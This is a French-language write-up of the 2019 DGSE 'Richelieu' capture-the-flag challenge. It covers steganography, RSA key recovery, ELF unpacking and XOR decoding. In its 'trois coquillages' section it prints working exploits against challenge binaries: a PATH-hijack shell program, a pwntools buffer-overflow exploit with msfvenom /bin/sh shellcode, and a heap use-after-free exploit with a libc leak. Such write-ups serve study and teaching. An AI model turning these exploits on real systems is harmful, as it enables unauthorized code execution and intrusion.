Pirates Corporation & Co.


> Hop là ho ! une bouteille de rhum...

#

Richelieu, à nous 4 Cardinal (Writeup)


Depuis le mois de mai, et jusqu’au 14 juin 2019, la DGSE (Direction Générale de la Sécurité Extérieure) propose un CTF, un concours de hacking éthique. Mission, recruter son personnel geek (cf. https://www.zataz.com/concours-dgse-richelieu/).


Le challenge Richelieu commence sur le site https://www.challengecybersec.fr/.

Les éléments de l’article sont sur le Github de Pirates.RE.

Starting point

Il faut regarder dans le code source de la page et télécharger le fichier PDF.

Steganographie (dans le PDF)

A la lecture du fichier Richelieu.pdf, nous devons remarquer la colonne de gauche (il y a forcément un truc dans ces 364 pages).

Avec Acrobat Reader nous devons sélectionner tout le texte (Ctrl+A) et le copier (Ctrl+C) puis créer un nouveau fichier texte et coller (Ctrl+V) le contenu.

Je me suis compliqué la vie à faire un script pour décoder le base64 (mais la commande base64 -d aurait pu faire ce travail).

#!/usr/bin/env python2.7

def read_file_to_buffer(path_to_file, mode) :
  from os.path import isfile

  if(not(isfile(path_to_file))) : return(False)
  try :
    with open(path_to_file, mode) as file_stream :
      file_content = file_stream.read()
  except Exception as Exception_Error :
    print("%s", (Exception_Error))
    return(False)
  return(file_content)

def write_file(path_to_file, mode, data) :
  try :
    with open(path_to_file, mode) as written_file :
      written_file.write(data)
  except IOError :
    return(False)
  print(" writting:\t%s" % (path_to_file))
  return(True)

data = read_file_to_buffer("Richelieu.b64.txt", 'r').replace("\r\n", '')
from base64 import b64decode

write_file("Richelieu.bin", 'w', b64decode(data))

J’ai utilisé la commande file pour détecter le type de fichier, c’est une image au format JPG.

Avec un éditeur hexadécimal (incontournable), nous passons en revu le fichier et à la fin de celui-ci, nous observons une structure qui ressemble à un fichier Zip (il y a des entêtes PK et un mot de passe).

J’ai utilisé 7z sur l’image elle-même avec le mot de passe DGSE{[email protected]^A%n9FQB~_VL7Zn8z=:K^4ikE=j0EGHqI} pour extraire les données du Zip (c’est bourrin mais ça fonctionne).


RSA Crypto System

A l’intérieur du fichier Zip, nous découvrons bien sûre des fichiers cryptés, mais également :

Pour commencer, nous nous intéressons au fichier .bash_history.

Celui-ci nous donnes des informations essentielles pour casser la clé RSA de 4096-bits.

Nous observons que le prime1 de la clé RSA à été modifié par une série de sed.

Notre premier travail est de recalculer le bon prime pour notre clé RSA.

Personnellement, j’ai pris pour habitude de ne pas compliquer mon code pour éviter les erreurs toutes bêtes (surtout en mode CTF). Alors j’ai commencé par créer un dictionnaire de primes.

#!/usr/bin/env python2.7

def write_file(path_to_file, mode, data) :
  try :
    with open(path_to_file, mode) as written_file :
      written_file.write(data)
  except IOError :
    return(False)
  print(" writting:\t%s" % (path_to_file))
  return(True)

prime_mask = "00:I1A:40:dc:44:ba:03:d1:53:42:f7:59:08:e0:f9:30:05:96:64:4a:de:94:68:5e:08:e2:8c:9a:b1:64:0c:2f:62:c2:9a:b9:a2:39:82:4b:9e:be:eb:76:ae:6d:87:21:a3:5e:9e:d9:8d:7e:I7:38:3e:59:09:34:a5:78:I10:f7:2e:89:5d:5c:37:52:ea:fd:f6:31:cc:ba:d2:d9:60:e4:45:1d:67:76:d2:1f:I5:9c:9d:c9:b1:90:45:51:ed:d2:I2:dd:b6:74:b4:99:I3:b1:0a:d9:b7:c2:be:8b:I8:07:22:0a:8e:3a:36:ff:6d:c1:1d:63:93:af:cb:4e:c0:47:9f:65:bf:df:e3:f0:5f:1e:98:61:45:74:ec:36:a7:a5:b1:f1:8d:3d:97:6b:5a:82:49:09:00:08:0d:9d:c2:74:I9:4e:30:a1:39:68:2f:22:34:71:13:aa:3b:f2:20:4f:8e:10:eb:d4:d0:9b:I11:8c:c2:53:5f:9d:71:13:0c:0f:21:b6:6e:13:39:40:d3:a6:b1:eb:74:ad:dd:0a:29:14:81:b1:90:ad:e0:53:f0:89:c8:00:fe:dc:ad:56:59:fc:28:1d:c0:cf:5e:08:c0:I6:33:24:a3:52:bb:f3:25:10:43:c3:73:b8:40:4f:fc:6b:6b:77:bd:5f:22:24:eb:I4:15"

candidate = ""
for a in range(2) :
  key = ["7f", "fb"]
  p = prime_mask.replace("I1A", key[a])
  candidate = candidate + p + '\n'
write_file("candidates1.txt", 'w+', candidate)

candidate = ""
with open("candidates1.txt") as f :
  for line in f :
    for k in ["7f", "fb"] :
      p = line.replace("I2", k)
      candidate = candidate + p + '\n'
write_file("candidates2.txt", 'w+', candidate)

candidate = ""
with open("candidates2.txt") as f :
  for line in f :
    for k in ["7f", "fb"] :
      p = line.replace("I3", k)
      candidate = candidate + p + '\n'
write_file("candidates3.txt", 'w+', candidate)

candidate = ""
with open("candidates3.txt") as f :
  for line in f :
    for k in ["7f", "fb"] :
      p = line.replace("I4", k)
      candidate = candidate + p + '\n'
write_file("candidates4.txt", 'w+', candidate)

candidate = ""
with open("candidates4.txt") as f :
  for line in f :
    for k in ["f4", "12"] :
      p = line.replace("I5", k)
      candidate = candidate + p + '\n'
write_file("candidates5.txt", 'w+', candidate)

candidate = ""
with open("candidates5.txt") as f :
  for line in f :
    for k in ["16", "54"] :
      p = line.replace("I6", k)
      candidate = candidate + p + '\n'
write_file("candidates6.txt", 'w+', candidate)

candidate = ""
with open("candidates6.txt") as f :
  for line in f :
    for k in ["a4", "57"] :
      p = line.replace("I7", k)
      candidate = candidate + p + '\n'
write_file("candidates7.txt", 'w+', candidate)

candidate = ""
with open("candidates7.txt") as f :
  for line in f :
    for k in ["a4", "57"] :
      p = line.replace("I8", k)
      candidate = candidate + p + '\n'
write_file("candidates8.txt", 'w+', candidate)

candidate = ""
with open("candidates8.txt") as f :
  for line in f :
    for k in ["a4", "57"] :
      p = line.replace("I9", k)
      candidate = candidate + p + '\n'
write_file("candidates9.txt", 'w+', candidate)

candidate = ""
with open("candidates9.txt") as f :
  for line in f :
    for k in ["b5", "cd"] :
      p = line.replace("I10", k)
      candidate = candidate + p + '\n'
write_file("candidates10.txt", 'w+', candidate)

candidate = ""
with open("candidates10.txt") as f :
  for line in f :
    for k in ["b5", "cd"] :
      p = line.replace("I11", k)
      candidate = candidate + p + '\n'
write_file("candidates11.txt", 'w+', candidate)

Ensuite, il faut extraire le modulus et l’exposant de la clé RSA (nécessaires pour retrouver le prime2).

Vous pouvez lire l’article Breaking RSA Cryptosystem pour plus d’informations.

En gros, nous avons le modulus et le prime1, alors, pour trouver le prime2 il faut faire le calcule inverse de : modulus = prime1 * prime2.

Nous devons faire le calcul en tenant compte que prime2 doit être un nombre premier :

modulus = "00:cd:5f:8a:24:c7:60:50:08:89:7a:3c:92:2c:0e:81:2e:76:9d:e0:a4:64:42:c3:50:cb:78:c7:86:85:39:f3:d3:8a:ac:80:b3:e6:a5:06:60:59:10:e8:59:98:06:b4:d1:d1:48:f2:f6:b8:1d:a0:47:96:a8:a5:ae:e1:8f:29:e8:3e:16:77:5a:2a:0a:00:87:05:41:f6:57:4e:d1:43:86:36:ae:0a:0c:11:6e:07:10:4f:48:f7:20:94:86:3a:38:69:e1:c8:fc:22:06:27:27:89:62:fb:22:87:3e:31:56:f1:8e:55:de:c9:4e:97:00:64:ec:7f:4e:0e:88:45:40:12:e2:fd:5d:fe:5f:8d:19:bf:17:0f:9c:cb:3f:46:e0:fd:10:19:bc:b0:2d:90:83:a0:70:3c:61:7f:99:63:79:e6:47:83:54:a7:3a:e6:e6:ac:bc:e1:f4:33:3e:cf:af:24:36:6a:3e:97:7d:3c:d3:cb:fe:8d:8a:38:7b:d8:76:bf:da:b8:48:8f:6f:47:bf:1f:be:33:01:0f:d2:d7:e2:2b:4d:b2:e5:67:78:3c:e0:b6:06:db:86:b9:37:59:71:4c:4f:63:96:a7:fb:9f:74:c4:02:10:43:b0:f3:d4:6d:26:33:eb:d4:3a:87:78:63:df:7d:68:0f:50:65:87:c1:19:dd:64:10:0c:a8:31:ce:2a:f3:3d:95:1b:52:4c:5f:06:b4:9f:5b:f2:cb:38:1e:74:18:19:30:d0:6a:80:50:5c:06:ab:d5:bf:48:70:f0:c9:fb:58:1b:d8:0d:ba:88:96:60:63:9f:93:6e:de:a8:fe:5d:0c:9e:ae:58:06:2e:d6:93:25:25:83:c7:1c:c7:82:ba:61:3e:01:43:8e:69:b4:3f:9e:64:ec:a8:4f:9e:a0:4e:81:1a:d7:b3:9e:fd:78:76:d1:b6:b5:01:c4:f4:8a:cc:e6:f2:42:39:f6:c0:40:28:78:81:35:cd:88:c3:d1:5b:e0:f2:eb:b7:de:9e:9c:19:a7:a9:30:37:00:5e:e0:a9:a6:40:ba:da:33:2e:c0:d0:5e:e9:f0:8a:83:23:54:a0:48:7a:92:7d:5e:88:06:6e:25:69:e6:c5:d4:68:8e:42:2b:fa:0b:27:c6:17:1c:6d:7b:f0:29:bf:d9:16:57:52:af:19:aa:71:b3:3a:1e:a7:0b:6c:37:1f:b2:1e:47:f5:27:d8:0b:7d:04:f5:82:ad:9f:99:35:af:72:36:82:dc:01:ca:98:80:62:18:70:de:cb:7a:d1:56:48:cd:f4:ef:15:30:16:f3:e6:d8:79:33:b8:ec:54:cf:a1:fd:f8:7c:46:70:20:a3:e7:53"
modulus = modulus.replace(':', '')
exponant = 65537

with open("primes.lst") as dictionary :
  for candidate in dictionary :
    candidate = long(candidate.strip('\n').replace(':', ''), 16)
    if (long(modulus, 16) % long(candidate) == 0) :
      print('-' * 80)
      prime1 = candidate
      prime2 = long(modulus, 16) / prime1
      # print("rsactftool -n %i -p %i -q %i -e %i --private" % (long(modulus, 16), prime1, prime2, exponant))
      print("rsactftool -n %i -p %i -q %i -e %i --uncipherfile motDePasseGPG.txt.enc" % (long(modulus, 16), prime1, prime2, exponant))

Je profite du script pour générer les commandes rsactftool pour obtenir :

Le mot de passe obtenu nous donne accès à l’étape suivante, une autre épreuve de stéganographie.


Steganographie (dans le PNG)

Le nom du fichier nous donne un indice (LSB/RGB) il faut regarder là dedans ! J’ai utilisé Stegsolve et testé plusieurs possibilité jusqu’à découvrir une entête ELF (binaire sous Linux).

J’ai exorté le fichier en cliquant sur le bouton Save Bin.

Avec un script Python, j’ai nettoyé le fichier (en supprimant les colonnes et espaces inutiles) et utiliser la commande xxd pour reconstituer le binaire.

#!/usr/bin/env python2.7

def write_file(path_to_file, mode, data) :
  try :
    with open(path_to_file, mode) as written_file :
      written_file.write(data)
  except IOError :
    return(False)
  print(" writting:\t%s" % (path_to_file))
  return(True)

data = ""
with open("elf_payload.bin") as f :
  for line in f :
    data = data + line[10:-19].replace(' ', '')

write_file("elf_cleaned.bin", "w", data)

Reverse Engineering (ELF)

Avec un éditeur hexadécimal, nous pouvons nous apercevoir que le fichier est packé avec UPX. Sauf que … les chaînes UPX ont été remplacé par ALD.

Je connaissais cette technique qui est/était utilisée par certains Malwares pour bypassser les contrôles antivirus (merci la veille sécurité).

Rien de compliqué, il faut remplacer les chaînes de caractères ALD par UPX et décompresser le binaire.

Ensuite, avec un désassembleur (IDA), j’ai tout simplement recherché dans les fonctions.

Ci-dessous, La valeur 0x33h est utilisée pour faire un xor ecx, esi, puis plus loin dans la boucle, la clé XOR prend comme valeur le caractère courrant sous sa forme crypté (0x77, 0x30, 0x63, …) et ainsi de suite jusqu’à la fin de la chaîne.

Étrangement, çà me rappelle le schéma utilisé par le malware Emotet (voir les articles sur Emotet [part. I et II]), du coup, pas besoin d’analyse dynamique pour coder tout ça, je connais déja le schéma.

#!/usr/bin/env python2.7

enc_password = [ 0x77, 0x30, 0x63, 0x26, 0x5D, 0x3A, 0x0E, 0x3B, 0x0D, 0x4D, 0x2A, 0x1F, 0x2E, 0x1F, 0x2D, 0x4F, 0x28, 0x51, 0x37, 0x7A, 0x14, 0x76, 0x20, 0x78, 0x0F, 0x21, 0x4D, 0x21, 0x6C, 0x11 ]
key = 0x33
from binascii import unhexlify

decrypted = ""
for e in enc_password :
  d = e ^ key
  key = e
  decrypted = decrypted + unhexlify(str(hex(d)).replace("0x", ''))

print("[*] flag: %s" % (decrypted))

Nous obtenons le flag : DGSE{[email protected]}

Ceci nous donnes accès au fichier suite.zip.

Mon humour d’autiste Asperger à appelé cette série d’épreuves les trois coquillages en référence au film … Demolition Man.


Les trois coquillages

Defi1 (exploiting system call when full path is missing)

Nous devons nous connecter sur le serveur avec les identifiants fourni dans le fichier suite.zip que nous venons de décrypter.

Nous pouvons utiliser la commande base64 pour encoder le binaire et le récupérer en local pour notre travail.

Puis en local, avec GDB nous observons que le programme fait appel au binaire bash et date.

Et avec la commande ltrace nous observons la fonction system() qui fait appel au programme date (sans spécifier le chemin complèt /usr/bin/date).

Pour plus d’information, vous pouvez consulter le lien suivant : https://www.go4expert.com/articles/exploit-c-t24920/.

Pour l’exploitation, nous pouvons faire un petit programme en C qui remplacera l’exécution du programme légitime date par un shell (notre premier coquillage).

# include <stdlib.h>

//<! gcc exploit.c -o exploit
void main(void) {
  system("/bin/sh");
  exit(0);
}

Et modifier la variable d’environnement $PATH pour ajouter le répertoire où nous stockerons notre exploit.


Defi2 (Buffer overflow with ASLR enabled)

Pour ce deuxième défi, nous devons provoquer un buffer overflow, mais attention l’ASLR est activée, ce qui rend plus difficile l’exploitation.

Vous pouvez vous référer au lien suivant pour comprendre : http://www.sheepshellcode.com/blog/2015/03/24/writing-buffer-overflow-exploits-with-aslr/.

Nous rapatrions en local le binaire pour l’étude de la vulnérabilité.

Pour commencer, nous pouvons rechercher la fonction de validation du mot de passe (en 5 minutes top chrono).

Nous pouvons avec ces informations en déduire un mot de passe valide : `[email protected]/9AA.

Viens l’étape de fuzzing sur les inputs. Nous détectons un overflow sur le champ du mot de passe.

Nous contrôlons le registre RBP et nous observons le caractère \0 qui casse notre chaîne de caractères dans la stack.

Dans un premier temps, nous devons écrire une instruction qui doit nous permettre de sauter sur la stack (jmp rsp) depuis le registre RBP.

; nasm -f elf64 jmp_rsp.asm -o jmp_rsp.o
; objdump -d jmp_rsp.o
global _start
  _start:
  jmp rsp

Puis, écrire quelques instruction nop’s pour :

Ensuite, nous devons faire un jmp rax pour exécuter notre shellcode.

Avec ASLR, il faut utiliser un ROP gadget. Nous pouvons faire ceci avec un tas d’outils (ROPGadget, Ropper, …) mais la commande dumprop de peda nous fait ce travail.

Donc, nous recherchons un saut sur le registre RAX

Il est temps d’écrire notre code d’exploitation.

J’ai utilisé pwntool (je ne connaissais pas, c’est génial …) et Metasploit-Framework pour générer un shellcode.

Aussi, le caractère \0 est considéré comme un bad char, il ne doit pas apparaître dans notre shellcode (cf. msfvenom -p linux/x64/exec -f py CMD=/bin/sh –bad-chars ‘\x00’).

#!/usr/bin/env python2.7

from pwn import *
from sys import argv, exit


BIN_FILE = "./prog.bin"
CTX_OS = "linux"
CTX_TERM = "terminator"

GDB_SCRIPT = """
set pagination off
c
"""

## ----------------------------------------------------------------------------

def send_login(p, name) :
  p.recvuntil("login")
  p.sendline(name)

def send_pass(p, password) :
  p.recvuntil("pass")
  p.sendline(password)

def pwn(p) :
  from binascii import hexlify
  from struct import pack

  password = "`[email protected]/9AA"

  jmp_rsp = (6 * "\x90")                            ## nop
  jmp_rsp = jmp_rsp + "\xff\xe4"                    ## jmp rsp
  jmp_rsp = pack("L", int(hexlify(jmp_rsp), 16))

  ret = pack("L", 0x400538)                         ## 0x400538: call rax; add rsp,0x8; ret

  ## msfvenom -p linux/x64/exec -f py CMD=/bin/sh --bad-chars '\x00'
  shellcode =  ""
  shellcode += "\x48\x31\xc9\x48\x81\xe9\xfa\xff\xff\xff\x48\x8d\x05"
  shellcode += "\xef\xff\xff\xff\x48\xbb\x44\xbb\x01\x01\xc4\xf3\xbf"
  shellcode += "\x10\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4"
  shellcode += "\x2e\x80\x59\x98\x8c\x48\x90\x72\x2d\xd5\x2e\x72\xac"
  shellcode += "\xf3\xec\x58\xcd\x5c\x69\x2c\xa7\xf3\xbf\x58\xcd\x5d"
  shellcode += "\x53\xe9\xcc\xf3\xbf\x10\x6b\xd9\x68\x6f\xeb\x80\xd7"
  shellcode += "\x10\x12\xec\x49\x88\x22\xfc\xba\x10"

  buf = password + ("A" * (48 - len(password)))
  buf = buf + jmp_rsp                               ## jmp rsp
  buf = buf + ret                                   ## call rax
  buf = buf + "\xeb\x10"                            ## jmp 0x10
  buf = buf + (0x10 * "\x90")                       ## rewrite '\0'
  buf = buf + shellcode                             ## exec /bin/sh
  # buf = buf + ((512 - len(buf)) * "\x90")
  
  send_login(p, "admin")
  send_pass(p, buf)

## ----------------------------------------------------------------------------

def entry_point() :
  context.terminal = CTX_TERM

  binary = BIN_FILE

  elf = ELF(binary)                                 ## setting pwntools context os/arch
  context.os = CTX_OS                               ## so that we won't have to specify it explicitly
  context.arch = elf.arch                           ## when using pwntools functions like asm etc.

  p = process(binary)

  if (len(argv) > 1) and (len(argv) < 3) :
    ## Command line arguments handling
    if(argv[1] == "--gdb") :
      gdb.attach(p, GDB_SCRIPT)
    elif(argv[1] == "--pause") :
      pause()

  pwn(p)
  p.interactive()

if(__name__ == "__main__") :
  entry_point()
  exit(0)

Puis, nous obtenons notre second shell.


Defi3 (Heap Exploitation - Use After Free - and … ASLR)

Pour comprendre cette étape, vous pouvez vous référer au lien suivant : https://0x00sec.org/t/heap-exploitation-playing-with-chunks/2055.

En premier lieu, je désactive temporairement l’ASLR en local pour l’étude de l’exploitation, de cette façon, les adresses mémoire ne change pas et c’est plus facile.

Puis, notre objectif est provoquer une fuite de donnée et de trouver un emplacement mémoire à controler.

Nous pouvons faire ceci en ajoutant et en suprimant sratégiquement des enregistrements dans le logiciel (voir le lien ci-dessus).

Puis injecter une chaine de caractères arbitraires AAAAAA pour detecter l’exploiation.

Ensuite, testons de faire exécuter une fonction connu du logiciel.

Pour connaitre la liste de ces fonctions vous pouvez utiliser la commande readelf --syms prog.bin.

Ce qui nous donne ces possibilitées : free, strcpy, puts, strlen, printf, fgets, atoll, malloc, atoi, stdin.

J’ai commencé par trier les fonctions, il y a celles que l’on peut injecter et … les autres 🙂

Puis dans la liste des fonctions valides (injectable), j’ai utilisé la fonction free() que j’ai injecté dans : élément[1]->nom.

Ceci modifi élément[3]->nom par l’adresse de la fonction free() dans libc, c’est notre leak.

Interessant, nous pouvons ainsi utiliser la valeur de élément[3]->nom pour calculer l’adresse de base de la librairie libc.

Pour la suite, je ne me suis pas compliqué la vie. J’ai utilisé l’outil one_gadget pour trouver automatiquement un execve('/bin/sh', NULL, NULL) dans le fichier libc.so.6.

Et pour chaque fonctions valides j’ai tester les ROP jusqu’à trouver la bonne contrainte :

Ecriture du code d’exploitation en Python :

#!/usr/bin/env python2.7
# -*- coding: utf-8 -*-

from pwn import *
from sys import argv, exit

BIN_FILE = "./prog.bin"

## Local:
## BIN_LIBC = "/usr/lib/libc.so.6"

## Remote:
BIN_LIBC = "/lib/x86_64-linux-gnu/libc.so.6"

CTX_OS = "linux"
CTX_TERM = "terminator"

GDB_SCRIPT = """
set pagination off
c
"""

## Local:
## 0xe6910 execve("/bin/sh", rsp+0x60, environ)
## constraints:
##   [rsp+0x60] == NULL

## Remote:
## 0xd6b9f execve("/bin/sh", rsp+0x60, environ)
## constraints:
##   [rsp+0x60] == NULL
ONESHOT = 0xd6b9f

## ----------------------------------------------------------------------------

def alloc(p, name, id = 1) :
  p.sendline('1')
  p.sendline(name)
  p.sendline(str(id))
  return()

def free_name(p, idx) :
  show(p)
  p.recvuntil("Que voulez-vous faire ?")
  p.sendline('3')
  p.sendline(str(idx))
  p.sendline('2')
  return()

def revaddr(addr):
  h = hex(addr)[2:]
  t = ""
  for i in xrange(len(h) - 2, -2, -2):
    m = i + 2
    t += chr(int(h[i:m], 16))
  return t

def show(p):
  p.sendline('2')
  return()

def pwn(p, elf) :
  elf_libc = ELF(BIN_LIBC)
  print

  alloc(p, 'A' * 1278, 'B' * 100)     # add name 0
  p.recv()
  alloc(p, 'C' * 1278, 'D' * 100)     # add name 1
  p.recv()
  alloc(p, 'E' * 1278, 'F' * 100)     # add name 2
  p.recv()
  free_name(p, 0)                     # freeing name 0
  p.recv()
  free_name(p, 1)                     # freeing name 1
  p.recv()
  alloc(p, 'G' * 12, 'H' * 100)       # add name 3
  p.recv()

  ## https://0x00sec.org/t/heap-exploitation-playing-with-chunks/2055
  """
  La table de symboles « .dynsym » contient 13 entrées :
   Num:    Valeur         Tail Type    Lien   Vis      Ndx Nom
     0: 0000000000000000     0 NOTYPE  LOCAL  DEFAULT  UND 
     1: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND [email protected]_2.2.5 (2)
     2: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND [email protected]_2.2.5 (2)
     3: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND [email protected]_2.2.5 (2)
     4: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND [email protected]_2.2.5 (2)
     5: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND [email protected]_2.2.5 (2)
     6: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND [email protected]_2.2.5 (2)
     7: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND [email protected]_2.2.5 (2)
     8: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND [email protected]_2.2.5 (2)
     9: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND __gmon_start__
    10: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND [email protected]_2.2.5 (2)
    11: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND [email protected]_2.2.5 (2)
    12: 0000000000602070     8 OBJECT  GLOBAL DEFAULT   25 [email protected]_2.2.5 (2)
  """
  p.sendline('4')
  p.sendline('1')
  p.sendline(revaddr(int(hex(elf.got['printf']), 16)))
  p.recv()

  show(p)
  leak = u64(p.recv()[1813:1819].ljust(8, '\x00'))
  log.info("leak:   0x{:x} (printf address)".format(leak))

  offset_printf = int(hex(elf_libc.symbols['printf']), 16)
  log.info("offset: 0x0000000{:x} (print location into libc)".format(offset_printf))

  libc_base = leak - offset_printf
  log.info("libc:   0x{:x} (libc base address)".format(libc_base))

  offset_oneshot = ONESHOT
  oneshot = libc_base + offset_oneshot
  log.info("rce:    0x{:x} (oneshot gadget)".format(oneshot))

  p.sendline('4')
  p.sendline('3')
  p.sendline(revaddr(oneshot))

  ## trigger for the shell
  show(p)

## ----------------------------------------------------------------------------

def entry_point() :
  context.terminal = CTX_TERM

  binary = BIN_FILE

  elf = ELF(binary)                   ## setting pwntools context os/arch
  context.os = CTX_OS                 ## so that we won't have to specify it explicitly
  context.arch = elf.arch             ## when using pwntools functions like asm etc.

  p = process([binary, "100"])

  if (len(argv) > 1) and (len(argv) < 3) :
  ## Command line arguments handling
    if(argv[1] == "--gdb") :
      gdb.attach(p, GDB_SCRIPT)
    elif(argv[1] == "--pause") :
      pause()

  pwn(p, elf)
  p.interactive()

if(__name__ == "__main__") :
  entry_point()
  exit(0)

Nous obtenons ainsi le flag de la dernière épreuve, avec, … le dernier des trois coquillages.


Reporting

Reste plus qu’a envoyer un mail à l’adresse [email protected] avec le tag [challenge-Richelieu] et … écrire un Writeup.

Lorsque j’étais plus jeune (#macgyver), j’allais à la pêche avec mon grand père et souvant je m’amusais à détourner des petits cours d’eaux.

Pour détourner l’execution d’un programme, il faut suivre un peu le même principe.

Il ne faut surtout pas être trop brutal et accompagnier le flux que l’on détourne pour que se soit fait en douceur.

Sinon :

Et la pêche vous apprend la patience. On va dire que c’est ma version 2.0 de la pêche et ainsi, je perpétue la tradition.